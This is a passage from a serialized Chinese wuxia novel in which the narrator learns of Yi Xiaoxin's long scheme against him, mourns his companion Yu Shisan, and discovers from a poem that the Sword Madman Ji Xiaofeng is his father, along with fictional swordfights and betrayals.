我说:“你不用管我。我还能挺得住。”其实,已经是痛苦到极点。若不是门外仍旧有威胁未解,只怕这时候我一口气松下去便要昏死过去。 “我的剑法怎么样?”余十三忽然问我。 我知道,他是有意要岔开话题,吸引我注意,来帮我缓解痛苦。虽然,他这样的办法毫无作用,但我还是强装着对他说:“很好。我向你这么大的时候,没你这么厉害。” 余十三勉强挤出一个微笑。 “青云的剑法竟然私传给外人,你如何对得住死去的白掌门!” 忽然,我听到头顶上传来一声质疑。我抬起头,却见一袭青蓝色衣衫的男子高高立在屋梁之上。风从屋顶的破洞之中吹进来,撩动他的衣袂和头发,就如同潇洒的侠客横空出现。 但是,他并不是什么侠客。 虽然他的确有这一副大侠的风范,就如同当年的白景行一样,看一眼便给人一种肃然起敬的感觉。但眼前的这个人却是一个十足的小人。 “易小心!”我惊讶道,“原来你真的在这里。” 易小心负着手,双足一点黄粱,飘然落下。他长大了,比四年前我最后一次见他的时候有了更多成熟的气息。 那时的他便时常带着一副让人捉摸不透的微笑,而如今的易小心,神情更让人觉得深不可测。 “你不是一直都在找我吗?”易小心淡淡地笑着,“如今我就在你面前了。你能否告诉我,你跑遍了大半个江湖要找我,到底有什么要紧的事?” 我找他,不过是觉得他将陈伯洋打下藏龙涧,是这一切变故的开端,所以要找他报仇雪恨。 可现在,退却那股疯狂,我便觉得索然无味。 杀了他又能怎么样? 小月也不会回来了。如今我踏遍了整个江湖,兜兜转转,杀害了那么多人的性命,却忘了自己的初衷应当是寻找纾瑶。 但我既然见了面,我却有一点小小的疑惑,或许只有易小心可以解答。 我问他:“当日是你将陈伯洋打下藏龙涧的?” 易小心微微笑着,说:“不错。” 我又问:“你和他之间有什么仇恨,为什么要对他痛下杀手。” 易小心呵呵一笑,说:“我和陈伯洋之间没有什么仇恨。我也并非是要对他痛下杀手。” 我问:“那你是为了什么?” 易小心仍旧是带着不深不浅的微笑,迷离而深邃。他一双炯炯有神的眼睛盯着我,缓缓走到我身边,贴着我的耳朵,轻轻地说:“当然......是为了你!” 第二百二十二章 真相 ()1. 易小心的话让我倍感震惊。 难道这一切的一切,从一开始就是易小心针对我设计的一场阴谋? 陈伯洋坠落藏龙涧并非是偶然或者是出于他们两人之间的仇怨,而是易小心刻意为之? 可是他为什么要这么做? 易小心问:“你是不是很好奇,我为什么要将陈伯洋送到你那里?” 我说:“是,我当然好奇。” 易小心说:“因为你知道太多有关于我的事。虽然你已离开江湖,但只要你还在,我便觉得不安。” 我懵住了。我想不出我自己到底知道了有关于易小心的什么事,竟然让他对我起了杀心。 易小心看着我,说:“别用这种眼神看着我。当年,我知道师父将青云派祖传的秘宝送给你的时候,我便已经决定杀你。只可惜当年我不是你对手。” 我说:“可是,那竹筒和木匣我都已经交给你了,你为什么还......” “你是真的不明白,还是故意装傻?”易小心打断我。 我说:“我不明白。” 易小心叹了口气,说:“既然如此,那我便告诉你。依照青云派的规矩,师父交给你的两件东西,只有青云派掌门继任时才可以传授。换而言之,其实在师父将那两件东西交给你的时候,你便已经是实际的青云派掌门人了!” 我的脑子里忽然“嗡”的一声,接着一阵晕眩。 白景行当年竟然将青云派掌门之位传给了我?! 的确。青云派与江湖上别的门派有所不同,掌门之位的传承从未限制过在本门派弟子中。而且,当年白景行继任青云派掌门之位前,他也并不是青云派的弟子。 可是,白景行既然将青云派掌门之位传给我,可为什么却不告诉我呢? 我说:“这不可能。白景行只说将这两件东西交给我,并没有告诉我要继承青云派掌门之位。” 易小心轻轻地摇了摇头,说:“当年,师父为江湖安宁与朝廷斡旋,他以为只要江湖上结成联盟,按朝廷的意思自律,便可以消除朝廷的疑虑。但他最没有想到的是,结成联盟的江湖比起一盘散沙更让朝廷忌惮。也由此,他最终招来皇帝的猜忌。他深知,若想保住青云派,保住各大门派,只有牺牲自己。所以,五年前,他去绍兴之时,便已经抱定了必死的决心。那时候他将这两件掌门传承的秘物交给你,其用意已经非常明显了。” 易小心的话虽然听起来十分合理,但我却如何也不敢相信。我说:“这么重要的事,白景行不可能不告诉我。” 易小心苦笑了一声,说:“或许你是忘了。师父当年嗜酒成疾,临死前头脑愈发混沌,他把两件东西交给你,却忘了向你说明,这也并不算意外的事。” 竟然是这样。 我回想起白景行最后的状态,他的确是头脑不太清醒了,就连说话时也时常会忘了自己后面要说什么。当时,李小谦还说,白景行是老年痴呆症的前兆,并且还向我详细说明了什么是老年痴呆症。 易小心背过身去,继续说道:“不过,我很庆幸。这样重要的事你从来没有公开宣扬过,否则我这个掌门的位子早就已经坐不住了。但是,即便是你从来没有宣扬过,但只要你还活着,对我来说始终是威胁!” “这就是你要杀我的动机?”我不禁觉得可笑至极。那时候,我流连于江湖之外的逍遥,一心只想着与小月寻找我们曾经约定的天下海角。莫说是一个青云派掌门,就算是叫我做真正的武林盟主,甚至是富有四海的皇帝,我也不看在眼里。 易小心说:“是,但也不是。” 我问:“还有什么?” 易小心忽然转头,冷冷地说:“还有 你身上的那本秘籍!” 秘籍?! 我问:“什么秘籍?” 易小心说:“金刚伏魔功!” “摩诃钵特摩咒?!”我惊道。 “不错!是这个名字!”易小心笑着点了点头,说,“我曾以为那便是少林至宝金刚伏魔功。本来想到陆家山庄将他盗来,却意外听到了你和那个黑脸汉子的谈话。那时我才知道,传说中的金刚伏魔功竟然是一本彻头彻尾的邪功。但当时,我根本不信,就一路跟着你们到了陆家山庄,恰好看到了陆石发疯的那一幕.......啧啧啧......那景象真是令人毛骨悚然啊!” “你一直在跟踪我!”我怒道。 易小心淡淡一笑,说:“不错。我说过,从我知道师父将那两件东西交给了你时,便没有想过要放了你!” 我忍不住问他:“你心思这么深,为什么当时不设法杀了我?!” 易小心说:“我武功不如你,杀你并非易事。况且......我还要从你手上拿回那两样东西!” 我说:“不错。你也的确得到了那两件东西。” “但我却很失望。”易小心说,“我以为师父留下的木匣里会藏着十分精神奥妙的剑法秘籍,毕竟他天下第一剑的美誉绝不是浪得虚名的。但我却只得到了一个会发银针的竹筒和一个‘快’字!” “所以你把目标转向了金刚伏魔功?”我猜测。 易小心轻轻拍了拍手掌,说:“比起四年前,你的头脑灵光了许多。不错,我的确阴差阳错得知了金刚伏魔功在陆家山庄的消息。当时我在青云门中根基不稳,举步维艰,只有尽快练成绝世武功,技压群雄,才能坐稳掌门宝座,甚至像我师父那样成为真正的武林盟主。 但后来,我又失望了。因为我发现金刚伏魔功竟然是摩诃什么魔咒。那夜,我万般绝望,本想用竹筒自尽,当第一根银针射入我肩胛骨的时候,我惊喜地发现银针竟然能游走于体内起到打通经络的奇效。而且银针越发越快,以银针练剑假以时日不仅可以功力大增,而且还可以练成这世上最快的剑法。从那以后,我潜心练剑,知道接住一百一十三根银针之时,才真正体会到木匣之中那个‘快’字的真正含义。” 他竟然真的做到了。他接住了一百一十三根银针,练成了白景行的绝世剑法。 我说:“那你为什么时隔四年又将陈伯洋打下藏龙涧?” 易小心说:“因为我得知那个黑脸怪人已经死了。而金刚伏魔功已经落入了你的手里。我想要杀了你,但却不确定你是否已经练了那秘籍上的武功。我不能以身试险,所以我废了陈伯洋的武功,并且将他送到了你那里。在将他打下悬崖之前,我告诉了他一个秘密......” “什么秘密?”我问。 易小心眯起眼睛,轻轻地对我说:“我告诉他,他这一生都将是一个废人,除非......他能得到你手上的金刚伏魔功秘籍!” 我没有说话。因为我的喉咙中仿佛塞进了一块长满尖刺的铁块,它慢慢地向下滑动,尖刺刺入心肺,那种即火辣又疼痛的恨意,让我一句话也说不出来。 那时候,我将竹筒和木匣交给易小心,他打开木匣,心如死灰,我以为一切就那么过去了。却万万没有想到,那时候,一切才刚刚开始。 我以为我自己逃出了江湖。我曾经不管小月的顾虑,执意回到藏龙涧,却最终把我最心爱的人带向了死亡的陷阱。 让我如何不恨! 易小心突然笑了起来,他说:“别这么看着我。即便是你现在恨不得杀了我,你也奈何不了我。” 如此深仇大恨,我再也忍受不住,冲着易小心大喊:“我要杀了你!”我拼劲力想要拔出血芒,但刚一用力 ,身气血立时沸腾不止,接着就是一大口鲜血“哇”地吐了出来。 2. “屋里有人!” 门外的人听到了我喊声,立刻就有窸窸窣窣的十几道人影堵在了门外。但他们只是站在门口,有的似乎是趴在门上倾听,没有一个人敢冲进来。 “快些去禀报师兄,说那两个人就藏在大姑姑的闺房里。” “是!” ....... 易小心啧啧两声,说:“你为什么就不能克制一点?如果你不出声,也许连慕容顺也不敢贸然进这间屋子,那样你还可以有几分生机。但现在......” 易小心眯起眼睛,带着不深不浅的笑,说:“看了我不必出手了,你把慕容顺砍成了废人,他一定会叫你碎尸万段的。”说罢,易小心双足一点地,越上房梁。 上天真是残忍,既然让我从疯狂中清醒过来,却又让我知道这些让我足以彻底疯掉的真相。只是这个时候......即便是我心里恨得身都要炸裂,我却再也没有了疯狂的力气。 我就这么眼睁睁地看着易小心跃上房梁,在站在梁上,一袭青蓝色衣衫如同翩翩侠客一般,向我挥手道别。 忽然,余十三大喊一声:“别走!”青光一闪,他提剑跃上了房梁。 余十三怎么可能是易小心的对手。 我急忙喊他:“回来!” 这一声还是晚了。余十三似乎是拼尽了身的力气飞了上去,青芒剑如同是钻出水面冲向天际的应龙,锋芒毕露,锐不可当。 但它终究抵不过易小心凌空一脚。 易小心的靴子上忽然闪出一道银光,脚尖儿处错出一把利刃,如剑一样的锐利,绕过凌厉的青芒剑,直刺入余十三的胸腔。 余十三重重地摔了下来。 易小心跃回房梁,不屑地说了一声:“不自量力。”身子一转,从屋顶上的破洞中跳了出去。 “十三!” 余十三砸在了我身上。我抱着他,他胸前的衣襟被大片大片的鲜血染红。我用尽最后一丝力气,为他封住胸口的穴道止血。 余十三的表情中满是痛苦,鲜血不停地从他嘴里向外喷。我抓着他的手,说:“别怕,我一定会救你的。” 余十三笑了。他很少有笑容,但这一次却是我认识他以来所见到的最轻松的一次笑。似乎他这一生中有千万斤的重担,终于在这一刻卸去了所有的沉重。 “你的情,这一次应当是彻底还清了。”余十三气若游丝。 我眼中的世界已是一片模糊,看不起余十三的脸,只看见一大片骇人的红色,就像是融化在水池中的红色水墨,侵染了整片池水。 我说:“不是。你答应我要陪我找女儿,你还没有做到。” 余十三说:“你的女儿我已经找到了。” “什么?!” 我心里一颤,几乎不敢相信自己的耳朵。 “你,你说得是真的?”我紧紧攥着余十三的手,他手上的温度正在一点点地消失,这时我的多么害怕他突然坚持不住了,就这么死了。 “你真的找到纾瑶了?她在哪里?”我摇着余十三的身子。 余十三猛地抽了一口气,一口血又从他嘴里喷了出来。他反握住我的手,仿佛是将部的力气都用在了手上。 “她在哪里?她在哪里?”我不停地摇着余十三。 余十三瞪大了眼睛,嘴唇动了动,用尽了他一生中最后的一丝力气,对我说:“她,她......” 就在我集中了所有的精力倾听的时候,余十三手上的力气忽然消失了,他仿佛是在不经意之间离开了一样,给我留下一个天一般大的悬念。 第二百二十三章 小诗 1. 月牙山庄,这间破旧的屋子里。 从屋顶的破洞里吹进来的风,扫起桌面上厚厚的尘埃。清冷的屋子里,忽然变得尘土飞扬。 这是来自上天的哀悼吗? 屋外人影晃动,他们只等着慕容顺的一道命令,便会如决堤的洪水一般涌进这间屋子。届时,我会被无情的刀剑砍成碎片。 死是一种解脱。 但这个时候,我却生出了十分强烈的求生欲望。这一生都不曾这么强烈过。 我不能死。 余十三告诉我,他已经找到了纾瑶。虽然他并没有来得及告诉我纾瑶在哪里,但我觉得她应该是安全的。 因为,我相信余十三。他若是找到了纾瑶的下落,一定会设法将她安置妥当。而我现在要做到,就是拼劲全力冲出月牙山庄,去寻找纾瑶的藏身之地。 烈火掌的灼热气息依旧在我体内剧烈地燃烧着,它在我体内游窜着,隐约是要将摩诃钵特摩咒的阴寒之气压制下去,甚至是彻底消灭。 两种气息在我体内激烈的冲突,我只觉得身体就快要炸开了。我不知道自己还能坚持多久,但我却不能放弃。 就算是拼了所有的力气,也要将体内的两股力量压制下去。 2. 绍兴九年。 八矛师父带我们游历江湖之时,曾带我们到姑苏城外的妄虚斋作客。 妄虚斋藏在一片粉色纷飞的桃花林中,这片林子的主人是一个黑纱蒙面的女人。八矛师父偷偷告诉我,那个女人已经五十岁了。或许是十指未沾阳春水,或许是这片桃花林从不曾沾染俗世的喧嚣,所以才没有留下岁月雕琢的痕迹。 总之,那个女人看上去比八矛师父还要年轻许多。 八矛师父对她很客气。言谈举止间都透露出我们从来不曾见过的温文尔雅。 一片桃花林中,风卷落花雨,虫鸟纷飞,霎是美丽。 蒙面的女人掐着风骚的兰花玉指为八矛师父斟了一杯清酒。八矛师父仰首饮下,竟然顷刻有了醉意,两颊微红,双目迷离。 两人沉默着,一句话也不说,一人斟酒,一人只顾着喝酒。不知是过了多少个轮回,那女人突然将酒壶打翻在地上。 我吓了一跳,以为风云突变,接着就是一场生死大战。正要逃跑时,却听见八矛师父醉醺醺地念了起来:“气既分阴阳,又有虚实。阴者如潮,阳者似火。虚者如雾如烟如云,实者如霜如雪如花。实生阴阳而虚化万物。” 蒙面女人问:“如何虚化万物?” 八矛师父饮尽了酒杯里的最后一口酒,说:“炼虚者,一身毛窍皆开,心胸浩荡,万有皆化,晴空一体。” 蒙面女人的眼中立时神采飞扬,她转身没入桃花林中。八矛师父怔怔地看着她的背影,呢喃念道:“痴女,十一年前我欠你的,如今算是还清了。” 我大哥是个精明的人,他大概是觉得师父念得是十分高深的内功心法,便追着八矛师父一直问东问西。 八矛师父只笑不答。 当时,我不合时宜地说了一句:“师父,我饿了。” 八矛师父不紧不慢地从怀里掏出一块面饼,在桃树枝上抓下大把的桃花夹在面饼之中,递到我面前,说:“吃吧。桃花饼。” 那味道又甜又涩,让我终生难忘。 我对师父说:“不好吃。” 八矛师父笑着说:“都怨我。若是晚几个月来,这树上挂着的便不是桃花,就是满树的蜜桃了。” 我充满了向往,将“桃花饼”扔在地上,吵嚷起来:“师父,我要吃桃,我要吃桃。” 八矛师父不紧不慢地捡起地上的“桃花饼”,轻轻拂去上面的灰尘,又塞到我手里,说:“心胸浩荡,万物皆化,晴空一体。只要你放开胸怀,忘记实体,桃花与蜜桃根本就没有区别。” 3. 我少年漂泊,过得都是清苦日子,饥饿的时候,草根树皮都可以拿来充饥。但从那日以后,每当我面对难以下咽的食物时,我都会想起八矛师父的那句话。 心胸浩荡,万物皆化,晴空一体。 我也会时常捧着草根树皮对自己说:“忘记实体,这是山珍海味。” 实生阴阳而虚化万物。 我忽然意识到,我体内的阴阳之气皆是实体而生,只有以练虚之法才能化解。而练虚的方法,八矛师父早就在十三年前便已经告诉了我。 一身毛窍皆开,心胸浩荡。 若能忘记实体,其实桃花与蜜桃根本就没有什么区别。 一瞬间,我的眼前仿佛打开了一扇明窗,轻风吹来,我一身的毛窍缓缓打开,随即便试着将身体内相互冲撞的阴阳气息缓缓散去。 果然收获奇效。 不过是一息之间,身体里的疼痛感便缓解了许多。53中文网 我加紧练虚,将体内的阴阳之气散去。又过了几息的功夫,我感觉全身轻松无比,那种烈火焚烧,身体炸裂的痛苦竟然完全消失了。 我深深地吸了一口气,闭上眼睛,享受着当时的感觉——那是一种许久未曾体会过的宁静之感。仿佛是回到了四年多以前,我和小月、李小谦泛舟于鄱阳湖上,顶上是碧空万里,眼前是一望无垠的湖水,淼淼浩浩,心旷神怡。 这种感觉真是美妙。 “庄主有令,不惜一切,抓住姓姬的!” 忽然,门外的一声大喊将我从一片宁静的气氛中惊醒。随着那人一声令下,破屋的门被一脚踹开。 “咣”的一声。 老旧的门板不堪重力,被踹成几段,落在地上,掀起一片蒙蒙的尘土。 随即,便有几个人一涌而今,他们毫不迟疑,举起手中的兵刃便向我袭来,就像是一群饿狼争夺猎物一般,谁能拿下我的脑袋,那便是月牙山庄的大功一件。 我一手抓起血芒剑,一手将余十三的遗体托起送到身后,以免在打斗中令他再受到损伤。 血芒剑上的血已经凝固了,凝固的血液仿佛封住了血芒剑的戾气一般。我始终没有感觉到它以往饮血时的兴奋。 红光一闪,斩断的不再是对手的头颅,而是他们手中的兵刃。 我反握血芒剑,一招横扫,猩红的剑气如弯月一般发出,将率先冲进破屋的人大力震飞出去。还未冲进来的人被砸倒在门口,一群人滚成一团,将门口死死地堵住了。 这正是我逃离是非之地的好机会。 我抱起余十三,将青光血芒两剑插在腰间,随手在箱匣里抓起一件紫金霞帔裹在余十三的身上,一纵身,破窗跳了出去。 门外的人只顾着向屋里挤,他们见我突然从窗户中跳了出来,先是一愣,等到反应过来的时候,我已经抱着余十三纵身跳出了月牙山庄的高墙。 4. 逃出月牙山庄之后,我一路狂奔,直到确定身后的再也追不上我的时候,我才把余十三缓缓地放着地上。 摸着余十三已经渐渐冰冷的尸体,我倍感内疚。 不是因为我,他不会涉足这个江湖。不是因为我,他不会失去一条手臂。不是因为我,或许他还可以好好地活着这个世上,过着清苦但却平淡的生活。 平淡的生活,是多么令人向往。 我一点一点地整理着余十三沁满血的衣襟,对他说:“但愿你来生不要再遇见我。” 抓起那条紫金霞帔,将它盖在余十三的身上,突然,一个绿色的荷包从霞帔里掉了出来。绿色荷包上沾着余十三的血,显得分开鲜红。 我一时好奇,将荷包捡起来,轻轻的打开,里面藏着的是一张已经发黄的丝绢。 展开丝绢,一副字体娟秀的小诗映入眼帘。不知过了多少岁月,相必这荷包的主人尤为珍惜,所以将它保存的很好,那写墨迹依旧清晰,仿佛是刚刚写上去一样。 我忍不住轻轻地念着: “碧翠红花樱如血,一见燕桦忘烦忧。 情根深种不知恨,仇怨如山几多重。 心向天涯无处去,世人无解我心愁。 自此决断人间路,青光血芒作剑狂。” 剑狂! 这两个字映入我眼帘的一瞬间,我只觉得天崩地裂一般的震撼。 这首诗竟然是我爹写的! 我将它捧在手里,一遍一遍地读着。 “碧翠红花樱如血,一见燕桦忘烦忧。一见燕桦......燕桦!” 这个名字......很熟悉,仿佛是在哪里听过一般。 我闭上眼睛,极力地搜索着这个名字。 燕桦......燕桦...... 我忽然间想到,这个名字不就是在汀兰古穴冰窟里躺着的那个女人吗?她绝美的面容,不似人间所有一般的美丽,顷刻浮现在我的脑海中。 她就是燕桦...... 如果这首诗是出自我爹之手,那么那个叫燕桦的女人应当是...... 不! 还有更不容忽略的一件事!那个在汀兰古穴.里传授我十一招剑法的怪人,那里满脸是刀疤已经满目全非的怪人。难道他就是曾经令江湖人闻之胆寒的剑狂姬啸风?! 他就是....... 这一切如此突然,如此令人震撼。 这一切仿佛是上天早就布置好的一样,让我在浑然不觉中经历过,又在许多年之后以这样突然的方式将我揭示。 那一刻,我只觉得天旋地转,仿佛坠入了无底的深渊...... 第二百二十四章 梦醒 ()1. 这些年,当我从娄琴、陆石、陈伯洋口中一点点的了解到我的身世之世,我曾经不止一次地想象我爹姬啸风应该是一个什么样的模样? 他们说我长得和他很像。所以我常看自己水中倒影。 他自称剑狂,手持着青光血芒两柄宝剑,在江湖上掀动向风血雨。 我觉得,他应当是双目如血,满目狰狞。 但岳献却告诉我,他初识的姬啸风温文儒雅,古道热肠。 可如今,我经过无数次想象才勾勒出来的模样却瞬间成了一个满脸刀疤的怪人。 我无法接受。 但这好像已经变成了毋庸置疑的事实。 我曾经离他那么近。或许他已经认出了我,所以才逼着让我学石板上的那些剑招,所以才会在我打开冰窟的时候,叫我进去给那个冰棺中的女人磕头。 可他却不和我相认。 这一生唯一一次相认的机会,就这么错过了 错过了,就永远也不会再遇到了。 我将那首诗收进荷包,收进怀里,手放在胸口。说来可笑,这竟然是他们留给我的唯一一件东西。 燕桦。 我想,应该是慕容燕桦! 原来,我的身上还流淌着月牙山庄慕容家族的血液。而我还在几个时辰之前,砍断了慕容顺的手。 造化弄人啊。 我决定在离开月牙山庄之前去见慕容顺一面。人的情感真的奇怪,这么多年来我对慕容顺从来没有过半分好感,到这个时候,我竟然对他有了愧疚,还有一丝牵挂。 毕竟易小心还在月牙山庄。他和慕容顺之间或许有着什么关系。无论他们之间有什么,我都应该去提醒慕容顺——易小心绝对不是一个可以信赖的人。 我用青光剑砍断了一棵粗壮的古树,刨空树干,做了一个简易的棺材。我将余十三放在其中,把青光剑放在了他的身边。 黄泉路上或寂寞或凶险,但愿有青光相伴,他能走得顺利一些。 安顿好余十三。我只身折回了月牙山庄。 进入山庄时,感觉其中的气氛变得十分紧张。所有的人都带着兵器,在山庄里外搜索着。 我藏在高墙之下的角落里。两个从山庄外搜索归来的弟子低声交谈。 “庄主或许是疯了,听说已经砍断了三个兄弟的手,我们这个时候去复命,只怕也是凶多吉少啊!” “这可如何是好?回去复命,最多砍掉一只手,若不去复命,只怕连小命都保不住!” “我可不想成为废人。” “快闭嘴。以后在山庄里绝对不能提废人两个字。” “哎......” ...... 两个人长吁短叹地走向了后院,脚步下充满了不安和犹豫。 我一阵怅然,只觉得是自己害了慕容顺,也连累了月牙山庄上上下下的人。看来,这番回来的确是有必要的,或许也只有我亲自去见他,才能化解慕容顺的心结。 2. 刚刚潜入后院,我便听到一间屋子里传来了惨叫声。 紧接着,一个弟子扶着另一个弟子快步走了出来,一人半身是血,一只手已经被砍断了,断肢处还淙淙地冒着鲜血。 “废物!你们这群废物!给我去找!就算是掘地三尺,也要把他找出来!我要把姓姬的小子碎尸万段!” 屋子里传来慕容顺的咆哮,随后便有十几个人慌慌张张地跑出来,脚下步履奇快,好像是唯恐慢了一步便会被慕容顺抓回去剁手一样。 我叹了一口气,见众人已经离开,狠了狠心决定去见慕容顺。 “慕容兄息怒。当心自己的伤势。” 是易小心的声音! 我心头一震,慌忙侧身躲到了屋子外的一处角落里,藏在一颗矮树后面,听着屋里的谈话。 “小心兄弟啊,我的手,我的手啊!从此之后,我便是个废人了,从今以后叫我慕容家如何 在江湖上立足?你说,让我怎能不怒?!”慕容顺声音里带着哽咽。 “慕容兄言重了。以你们慕容家的武功成就、江湖地位,岂能是少了一只手就能撼动的?”易小心劝着。 慕容顺狠狠地说:“姓姬的,我定叫他不得好死。” 易小心说:“慕容兄请放心。虽然你痛失一只手,但你我手足情深,我的手就是你的手,我一定会替你手刃仇人。” “好,好!”慕容顺感激道。 “只是......小弟有一点不是很明白。”易小心话锋一转,说道,“那姓姬的分明也练了邪功,功力似乎比陈伯洋还要强上一些,怎么会伤在你烈火掌之下?” “我也不太明白。”慕容顺说道,“大概是一物降一物,苍天有眼,偏偏让我慕容家的烈火掌成了那邪门武功的克星。” “如此当然是好。”易小心说,“有了你慕容家的烈火掌,何愁大仇不报。” “不错!”慕容顺说,“我定让那小子再尝尝我烈火掌的厉害,早晚有一天要再让他受烈火焚身之苦!” “听庄上的人来报,那姓姬的小子似乎恢复了功力,所以才得以逃脱。”易小心说。 慕容顺狠狠说道:“那又如何,再落在我手中,我便使出部功力,绝不会让他再这么轻易地跑了!哎呦......我的手,我的手!” “慕容兄啊!”易小心的声音里满是虚情假意的担忧,说,“你看你如今伤成这样,只怕再见面时,未必能夺得先机啊!” “即便是再赔上一只手,我也要将他碎尸万段!”慕容顺仍旧在不停地发狠,听得出,他恨透了我。 易小心忽然说道:“不如......慕容兄将这烈火掌的功夫教给我,我替你去将那姓姬的小子擒来,让你亲手宰了他!” “这......”慕容顺犹豫起来。 易小心说:“慕容兄难道信不过我?” “当然不是!”慕容顺慌忙说道,“只是这烈火掌是我慕容家的看家功夫,向来不传外姓。将它教给你,有违先祖的遗命啊。” 易小心说:“规矩是人定的。如今大仇当前,慕容兄何必拘谨于小结。” “不行!”慕容顺断然拒绝,说道,“家父传我烈火掌时曾耳提面命,绝不可将烈火掌传予他人。当年我大姑姑违背祖训,将烈火掌秘诀告诉了剑狂姬啸风,被我爹逐出慕容家。前车之鉴,我又怎敢再犯。” “慕容兄何必如此固执......”易小心极力地劝说。 “此事不必再提!”慕容顺决绝道,“即便是这仇我不报了,也绝不能悖逆先祖的遗命。” “既然如此......”易小心声音骤然变冷,说,“那便不要怪小弟不顾兄弟情义了。” “你想怎样?” 慕容顺话音刚落,忽然一声尖叫,只听见屋内“咔啦”的一声,似乎是桌椅碎裂。慕容顺大声怒道:“我待你不薄,你竟然如此对我!” 我意识到情况有变,急忙拔出血芒剑冲入屋内。 只见堂内已是满地狼藉,桌椅碎成一片,慕容顺口鼻出血倒在地上。易小心双手成爪,正欲扼制慕容顺要害。 “住手!”我大喊一声,一剑横在慕容顺跟前。 易小心脸色大便,慌忙后退,诧异道:“你竟然又回来了。” 我说:“我很庆幸我回来了。” 易小心眼角微微抽搐,身子一晃,从桌上抓起一柄宝剑。 长剑出鞘,声如龙吟。 易小心的剑法快如闪电,招招凌厉,比起我所练成的剑法快得岂止是一星半点。剑影晃动练成一片,竟像是有百十把剑一同向我刺来。 他自称接住了竹筒中的一百一十三根银针,而我最多只接住过一百零七根。虽然只是微小的差距,但剑法上的差距竟然如此巨大,让我骇然。 我以血芒剑格挡,凭借血芒剑无比的锋利,划剑成盾,倒也令易小心无法近身。 只是一味防守毕竟不是长久之计。以易小心的剑 法之快,再过二三十招,一定可以突破我的防守。 和高手之间过招,只要被他把握住一丝的破绽,或许就是万劫不复的死地。 我收剑向后撤,一跃跳出屋子。易小心紧跟其后,一招直捣长龙的招式向我胸口刺来。 这是一个绝佳的机会。 我运转内力,以剑气扫向易小心。易小心也不闪躲,只将剑尖儿颤动起来,便将剑气荡开。但这片刻,他的剑已经慢了许多。 我不进反退,身形一晃,闪到易小心身侧,顺势就是一剑。 易小心反应极快,调转剑刃格挡,却终究没有完挡住。他左臂被我剑气割破,伤口深可见骨。他眼见自己负伤,更不可能是我的对手,猛地使出一剑杀招将我逼退,随即一转身遁出墙围,逃之夭夭。 我正要追赶,忽然听到屋子里慕容顺喊了一声:“别追了!”我这才想起来,慕容顺被易小心打伤,此刻还躺在地上。 我急忙返回屋子,查看慕容顺的伤势,虽然受了些内伤,但看起来并不算重。 慕容顺问我:“既然已经走了,为什么又会回来?” 我看了一眼他被砍断的手,说:“我想当面向你道歉。” “道歉?!”慕容顺甩开的手,冷笑道,“断手之恨,岂是一句道歉就能罢了的?” 看来他的心结很重,很难解开。 我将血芒剑递到他面前,说:“我还你一只手。”虽然下了这样的决心,但我心里却紧张的要死。毕竟要从自己身上砍下一只手,我没有试过,但我想那应该很疼。 慕容顺手伸向血芒剑,还未触到剑柄,却又收了回去。 “算了。”慕容顺苦笑道,“你刚救了我一命,我怎么还能砍你一只手?” 我暗暗地舒了一口气,收起血芒剑,将慕容顺扶了起来。 慕容顺靠在椅子上,平复了一会儿,问:“为什么要救我?” 这要怎么说呢? 难道在这个时候告诉他,我砍他的手是误伤,其实我和他是表亲? 这样的话不止我说不出口,只怕慕容顺听了也很难接受。 “你不愿说就算了。”慕容顺或许是见我沉默的久了,他说,“你走吧。无论你救我是出于什么样的目的,你我都恩怨两清了。” 我说:“我回来还有一件很重要的事想要提醒你。” “什么事?”慕容顺问。 我说:“不管你和易小心之间是什么样的关系,你都要清楚,易小心绝不是一个可以信赖的人。我之所以会沦落到今天这个地步,都是他一手造成的。” “已经不用你提醒了。”慕容顺抿掉嘴角的血渍,说,“我又不是傻子,发生了刚才的事,你以为我还会相信他吗?” 我点了点头,说:“那就好。” 随后,我们两人都沉默了。慕容顺似乎仍旧因为我断他手的事怨恨,不愿与我说话,而我站在他面前却又不知道说些什么,十分不自在。 气氛尴尬得有些难受。 我对慕容顺说:“我走了。” 慕容顺只是“嗯”了一声。我有些失落。无论如何,他是我在这个世上除了纾瑶之外仅有的亲人,可我却不能对他说,而他却也在恨我。 我大步走出屋子。在门口,我看着受伤而瘫坐在椅子上慕容顺,忽然感到万般的不忍。我对他说:“一定要保重啊。” 慕容顺猛地睁开了眼睛,他诧异地看着我,似乎是看着另外一个人。 我没有留给他说话的机会,转身离开了,因为我怕他说的话会让我不知如何应接。这一切是天命使然,也是有缘无分。 罢了。我也许就是天上的孤星,这一生注定了要孤独。 离开月牙山庄的路上,我回首这几个月来的经历,一切都仿佛是做了一场梦。一场可怕的梦。梦醒了,也明白了,才发现这世间已经没有什么事可以让我牵挂了,无论是报仇还是雪恨,都已经不再重要了。 能令我牵挂的,只剩下纾瑶。 第二百二十五章 水神娘娘 ()1. 冬去岁往,春暖花开。 这一年,江南大地未见一片雪花。 初春时节,天意渐暖,这几个月间我几乎踏遍了所有可能的地方寻找纾瑶。从临安到藏龙涧,从绍兴到青崖谷,每到一个地方,失望便会多上几分。 余十三到底会把纾瑶安顿在哪里呢? 还是他只是发现了纾瑶的下落还没有来得及安顿她? 这一切都是未知,我只能在茫茫的天地间摸索、寻找,但这一次,我不会再放弃。 2. 绍兴二十一年四月。 我出衢州赶赴鄂州。之所以去那里,是因为我得到狼道会弟子传来的消息,说曾有人见陈伯洋在鄂州一带出现。 听说他在鄂州制造了几起血案。 我本来不愿在管这些事情,但想到入魔已深的陈伯洋在江湖上始终都是一个祸害。 既然这一切从我手中的那本秘籍开始,也应当从我手中结束。 临走时,我吩咐明少忠,叫狼道会的弟子力打探纾瑶的下落。一旦得到消息,便派人沿官道到鄂州找我。 明少忠得令之后,问了我一句话:“青云派掌门易小心的下落还查吗?” 我思索片刻,说:“若有消息,一并告诉我。” 乘一匹快马,从衢州到鄂州,如江西境内,途径鄱阳湖。昔日风景如故,天高地阔,湖水青青,故地重游时却是只身一人,心中感慨万千。 鄱阳湖岸,一叶扁舟靠在岸边,头戴斗笠的老者坐在船头,悠哉地钓着鱼。 “老人家,可否渡我过河?”我轻声地询问。 老者转过头来,打量了我一番,问:“去对岸?” 我说:“是。” 老者摇头,说:“不去。” 我说:“我会照价付你银钱。” 老者说:“给多少钱都不去。” 我看这老者衣着简朴,都是一身粗布衣裳,想必也是寻常人家。有钱不挣,让我甚为不解。我问:“为何不去?” 老者又看了我一眼,说:“你是外乡来的吧?” 我说:“是。” 老者说:“我劝你还是不要过去的好。这对岸的风景虽好,却不太平,水匪猖獗,盗贼横行,只怕你有命去未必有命回啊。” 我摇头笑道:“我不怕。你送我过去吧。” 